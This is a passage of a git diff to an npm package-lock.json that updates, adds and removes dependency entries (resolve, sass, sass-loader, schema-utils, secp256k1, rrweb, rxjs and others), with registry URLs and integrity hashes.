"sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==" }, - "node_modules/requires-port": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", - "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", - "dev": true - }, "node_modules/resolve": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz", - "integrity": "sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw==", + "version": "1.22.10", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz", + "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==", + "license": "MIT", "dependencies": { - "is-core-module": "^2.8.1", + "is-core-module": "^2.16.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" }, + "engines": { + "node": ">= 0.4" + }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/resolve-alpn": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", - "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" - }, "node_modules/resolve-cwd": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", @@ -15731,69 +13390,14 @@ } }, "node_modules/resolve.exports": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz", - "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-2.0.2.tgz", + "integrity": "sha512-X2UW6Nw3n/aMgDVy+0rSqgHlv39WZAlZrXCdnbyEiKm17DSqHX4MmQMaST3FbeWR5FTuRcUwYAziZajji0Y7mg==", "dev": true, "engines": { "node": ">=10" } }, - "node_modules/responselike": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", - "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", - "dependencies": { - "lowercase-keys": "^2.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/responselike/node_modules/lowercase-keys": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", - "engines": { - "node": ">=8" - } - }, - "node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">= 4" - } - }, - "node_modules/reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", - "dev": true, - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/ripemd160": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz", @@ -15814,27 +13418,45 @@ "rlp": "bin/rlp" } }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "node_modules/rrdom": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrdom/-/rrdom-2.0.0-alpha.18.tgz", + "integrity": "sha512-fSFzFFxbqAViITyYVA4Z0o5G6p1nEqEr/N8vdgSKie9Rn0FJxDSNJgjV0yiCIzcDs0QR+hpvgFhpbdZ6JIr5Nw==", + "license": "MIT", + "dependencies": { + "rrweb-snapshot": "^2.0.0-alpha.18" + } + }, + "node_modules/rrweb": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrweb/-/rrweb-2.0.0-alpha.18.tgz", + "integrity": "sha512-1mjZcB+LVoGSx1+i9E2ZdAP90fS3MghYVix2wvGlZvrgRuLCbTCCOZMztFCkKpgp7/EeCdYM4nIHJkKX5J1Nmg==", + "license": "MIT", + "dependencies": { + "@rrweb/types": "^2.0.0-alpha.18", + "@rrweb/utils": "^2.0.0-alpha.18", + "@types/css-font-loading-module": "0.0.7", + "@xstate/fsm": "^1.4.0", + "base64-arraybuffer": "^1.0.1", + "mitt": "^3.0.0", + "rrdom": "^2.0.0-alpha.18", + "rrweb-snapshot": "^2.0.0-alpha.18" + } + }, + "node_modules/rrweb-cssom": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", + "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], + "license": "MIT" + }, + "node_modules/rrweb-snapshot": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/rrweb-snapshot/-/rrweb-snapshot-2.0.0-alpha.18.tgz", + "integrity": "sha512-hBHZL/NfgQX6wO1D9mpwqFu1NJPpim+moIcKhFEjVTZVRUfCln+LOugRc4teVTCISYHN8Cw5e2iNTWCSm+SkoA==", + "license": "MIT", "dependencies": { - "queue-microtask": "^1.2.2" + "postcss": "^8.4.38" } }, "node_modules/rustbn.js": { @@ -15842,18 +13464,102 @@ "resolved": "https://registry.npmjs.org/rustbn.js/-/rustbn.js-0.2.0.tgz", "integrity": "sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==" }, - "node_modules/safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + "node_modules/rxjs": { + "version": "7.8.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz", + "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/rxjs/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-array-concat/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/safe-event-emitter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz", + "integrity": "sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg==", + "deprecated": "Renamed to @metamask/safe-event-emitter", + "dependencies": { + "events": "^3.0.0" + } + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-push-apply/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" }, - "node_modules/safe-event-emitter": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz", - "integrity": "sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg==", - "deprecated": "Renamed to @metamask/safe-event-emitter", + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "license": "MIT", "dependencies": { - "events": "^3.0.0" + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/safer-buffer": { @@ -15862,67 +13568,50 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "node_modules/sass": { - "version": "1.54.8", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.54.8.tgz", - "integrity": "sha512-ib4JhLRRgbg6QVy6bsv5uJxnJMTS2soVcCp9Y88Extyy13A8vV0G1fAwujOzmNkFQbR3LvedudAMbtuNRPbQww==", + "version": "1.89.2", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.89.2.tgz", + "integrity": "sha512-xCmtksBKd/jdJ9Bt9p7nPKiuqrlBMBuuGkQlkhZjjQk3Ty48lv93k5Dq6OPkKt4XwxDJ7tvlfrTa1MPA9bf+QA==", "dev": true, + "license": "MIT", "dependencies": { - "chokidar": ">=3.0.0 <4.0.0", - "immutable": "^4.0.0", + "chokidar": "^4.0.0", + "immutable": "^5.0.2", "source-map-js": ">=0.6.2 <2.0.0" }, "bin": { "sass": "sass.js" }, "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/sass-graph": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-4.0.0.tgz", - "integrity": "sha512-WSO/MfXqKH7/TS8RdkCX3lVkPFQzCgbqdGsmSKq6tlPU+GpGEsa/5aW18JqItnqh+lPtcjifqdZ/VmiILkKckQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "glob": "^7.0.0", - "lodash": "^4.17.11", - "scss-tokenizer": "^0.3.0", - "yargs": "^17.2.1" - }, - "bin": { - "sassgraph": "bin/sassgraph" + "node": ">=14.0.0" }, - "engines": { - "node": ">=12" + "optionalDependencies": { + "@parcel/watcher": "^2.4.1" } }, "node_modules/sass-loader": { - "version": "13.0.2", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-13.0.2.tgz", - "integrity": "sha512-BbiqbVmbfJaWVeOOAu2o7DhYWtcNmTfvroVgFXa6k2hHheMxNAeDHLNoDy/Q5aoaVlz0LH+MbMktKwm9vN/j8Q==", + "version": "14.2.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-14.2.1.tgz", + "integrity": "sha512-G0VcnMYU18a4N7VoNDegg2OuMjYtxnqzQWARVWCIVSZwJeiL9kg8QMsuIZOplsJgTzZLF6jGxI3AClj8I9nRdQ==", "dev": true, "dependencies": { - "klona": "^2.0.4", "neo-async": "^2.6.2" }, "engines": { - "node": ">= 14.15.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "fibers": ">= 3.1.0", - "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "@rspack/core": "0.x || 1.x", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 || ^9.0.0", "sass": "^1.3.0", "sass-embedded": "*", "webpack": "^5.0.0" }, "peerDependenciesMeta": { - "fibers": { + "@rspack/core": { "optional": true }, "node-sass": { @@ -15933,6 +13622,9 @@ }, "sass-embedded": { "optional": true + }, + "webpack": { + "optional": true } } }, @@ -15941,6 +13633,7 @@ "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", "dev": true, + "license": "ISC", "dependencies": { "xmlchars": "^2.2.0" }, @@ -15958,70 +13651,88 @@ } }, "node_modules/schema-utils": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", - "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.3.2.tgz", + "integrity": "sha512-Gn/JaSk/Mt9gYubxTtSn/QCV4em9mpAPiR1rqy/Ocu19u/G9J5WWdNoUT4SiV6mFC3y6cxyFcFwdzPM3FgxGAQ==", "dev": true, + "license": "MIT", "dependencies": { - "@types/json-schema": "^7.0.5", - "ajv": "^6.12.4", - "ajv-keywords": "^3.5.2" + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" }, "engines": { - "node": ">= 8.9.0" + "node": ">= 10.13.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" } }, - "node_modules/scrypt-js": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/scrypt-js/-/scrypt-js-3.0.1.tgz", - "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==" - }, - "node_modules/scss-tokenizer": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.3.0.tgz", - "integrity": "sha512-14Zl9GcbBvOT9057ZKjpz5yPOyUWG2ojd9D5io28wHRYsOrs7U95Q+KNL87+32p8rc+LvDpbu/i9ZYjM9Q+FsQ==", + "node_modules/schema-utils/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", "dev": true, - "optional": true, - "peer": true, "dependencies": { - "js-base64": "^2.4.3", - "source-map": "^0.7.1" + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" } }, - "node_modules/scss-tokenizer/node_modules/source-map": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", - "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "node_modules/schema-utils/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">= 8" + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" } }, + "node_modules/schema-utils/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/scrypt-js": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/scrypt-js/-/scrypt-js-3.0.1.tgz", + "integrity": "sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==" + }, "node_modules/search-params": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/search-params/-/search-params-3.0.0.tgz", "integrity": "sha512-8CYNl/bjkEhXWbDTU/K7c2jQtrnqEffIPyOLMqygW/7/b+ym8UtQumcAZjOfMLjZKR6AxK5tOr9fChbQZCzPqg==" }, "node_modules/secp256k1": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.2.tgz", - "integrity": "sha512-UDar4sKvWAksIlfX3xIaQReADn+WFnHvbVujpcbr+9Sf/69odMwy2MUsz5CKLQgX9nsIyrjuxL2imVyoNHa3fg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.4.tgz", + "integrity": "sha512-6JfvwvjUOn8F/jUoBY2Q1v5WY5XS+rj8qSe0v8Y4ezH4InLgTEeOOPQsRll9OV429Pvo6BCHGavIyJfr3TAhsw==", "hasInstallScript": true, "dependencies": { - "elliptic": "^6.5.2", - "node-addon-api": "^2.0.0", + "elliptic": "^6.5.7", + "node-addon-api": "^5.0.0", "node-gyp-build": "^4.2.0" }, "engines": { - "node": ">=10.0.0" + "node": ">=18.0.0" } }, + "node_modules/secp256k1/node_modules/node-addon-api": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-5.1.0.tgz", + "integrity": "sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==" + }, "node_modules/select": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/select/-/select-1.1.2.tgz", @@ -16036,105 +13747,59 @@ } }, "node_modules/semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "bin": { "semver": "bin/semver.js" } }, - "node_modules/send": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", - "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", - "dependencies": { - "debug": "2.6.9", - "depd": "2.0.0", - "destroy": "1.2.0", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "2.0.0", - "mime": "1.6.0", - "ms": "2.1.3", - "on-finished": "2.4.1", - "range-parser": "~1.2.1", - "statuses": "2.0.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/send/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/send/node_modules/debug/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, - "node_modules/send/node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/send/node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" - }, "node_modules/serialize-javascript": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", - "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", "dev": true, "dependencies": { "randombytes": "^2.1.0" } }, - "node_modules/serve-static": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", - "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", "dependencies": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.18.0" + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" }, "engines": { - "node": ">= 0.8.0" + "node": ">= 0.4" } }, - "node_modules/servify": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/servify/-/servify-0.1.12.tgz", - "integrity": "sha512-/xE6GvsKKqyo1BAY+KxOWXcLpPsUUyji7Qg3bVD7hh1eRze5bR1uYiuDA/k3Gof1s9BTzQZEJK8sNcNGFIzeWw==", + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "license": "MIT", "dependencies": { - "body-parser": "^1.16.0", - "cors": "^2.8.1", - "express": "^4.14.0", - "request": "^2.79.0", - "xhr": "^2.3.3" + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" }, "engines": { - "node": ">=6" + "node": ">= 0.4" } }, - "node_modules/set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" - }, "node_modules/set-immediate-shim": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", @@ -16143,28 +13808,66 @@ "node": ">=0.10.0" } }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" - }, "node_modules/sha.js": { - "version": "2.4.11", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", - "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", + "version": "2.4.12", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz", + "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==", + "license": "(MIT AND BSD-3-Clause)", "dependencies": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1", + 